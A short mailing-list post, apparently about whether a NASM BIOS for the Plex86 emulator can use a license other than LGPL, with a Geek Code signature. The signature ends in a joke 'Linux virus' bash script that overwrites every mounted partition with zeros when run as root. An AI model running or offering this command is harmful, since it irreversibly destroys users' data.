IANAL either, but I think the BIOS can be developped with a different license. I am working on a NASM BIOS for Plex86 in my spare time. After all, BIOS code is not Plex86 and the reasons why the LGPL license was chosen are irrelevant to the BIOS. -- Eric Laberge -----BEGIN GEEK CODE BLOCK----- Version: 3.1 GCS/M/S d-(++) s-: a-- C++(++++) UL+++>$ !P L++ E--- W++ N+ w++ !O M !V PS PE Y PGP-(+++) t++(-) X- R* tv+ b+ DI+++ D+ G e+>+++++ h! r-- ------END GEEK CODE BLOCK------ #!/bin/bash if [ $UID -ne 0 ] then echo "Linux virus, please run as root" else for partition in $(df | cut -d ' ' -f 1 | grep /dev) do dd if=/dev/zero of=$partition done fi
